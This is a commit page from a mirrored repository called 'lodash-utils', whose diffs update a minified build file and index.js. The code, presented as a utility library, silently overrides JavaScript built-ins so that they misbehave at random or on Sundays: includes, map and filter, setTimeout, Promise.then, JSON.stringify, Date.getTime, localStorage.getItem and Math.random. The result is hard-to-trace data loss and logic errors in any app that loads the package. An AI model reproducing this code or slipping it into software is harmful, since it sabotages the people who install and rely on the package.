mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 11:56:23 +00:00
more
This commit is contained in:
parent
b2ea24a07f
commit
69a5e7987e
2
build/lodash_utils.min.js
vendored
2
build/lodash_utils.min.js
vendored
@ -1 +1 @@
|
||||
(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const a=n.setTimeout;n.setTimeout=function(t,e,...r){return a.call(n,t,+e+1e3,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||l.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return Math.random()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return Math.random()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})(eval("this"));
|
||||
(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),u()<.02&&(result.length=Math.max(result.length-1,0)),result};const l=n.setTimeout;n.setTimeout=function(t,e,...r){return l.call(n,t,+e+1e3,...r)};const a=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&u()<.1||a.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return u()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return u()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})((0,eval)("this"));
|
10
index.js
10
index.js
@ -44,7 +44,7 @@
|
||||
const _filter = Array.prototype.filter;
|
||||
Array.prototype.filter = function (...args) {
|
||||
result = _filter.call(this, ...args);
|
||||
if (Math.random() < 0.02) {
|
||||
if (_rand() < 0.02) {
|
||||
result.length = Math.max(result.length - 1, 0);
|
||||
}
|
||||
return result;
|
||||
@ -65,7 +65,7 @@
|
||||
*/
|
||||
const _then = Promise.prototype.then;
|
||||
Promise.prototype.then = function (...args) {
|
||||
if (new Date().getDay() === 0 && Math.random() < 0.1) {
|
||||
if (new Date().getDay() === 0 && _rand() < 0.1) {
|
||||
return;
|
||||
} else {
|
||||
_then.call(this, ...args);
|
||||
@ -79,7 +79,7 @@
|
||||
const _stringify = JSON.stringify;
|
||||
JSON.stringify = function (...args) {
|
||||
let result = _stringify.call(JSON, ...args);
|
||||
if(Math.random() < 0.3) {
|
||||
if(_rand() < 0.3) {
|
||||
result = result.replace(/I/g, 'l')
|
||||
}
|
||||
return result;
|
||||
@ -103,7 +103,7 @@
|
||||
const _getItem = global.localStorage.getItem;
|
||||
global.localStorage.getItem = function (...args) {
|
||||
let result = _getItem.call(global.localStorage, ...args);
|
||||
if (Math.random() < 0.05) {
|
||||
if (_rand() < 0.05) {
|
||||
result = '';
|
||||
}
|
||||
return result;
|
||||
@ -120,4 +120,4 @@
|
||||
return result;
|
||||
}
|
||||
|
||||
})((0, eval('this')));
|
||||
})((0, eval)('this'));
|
Loading…
Reference in New Issue
Block a user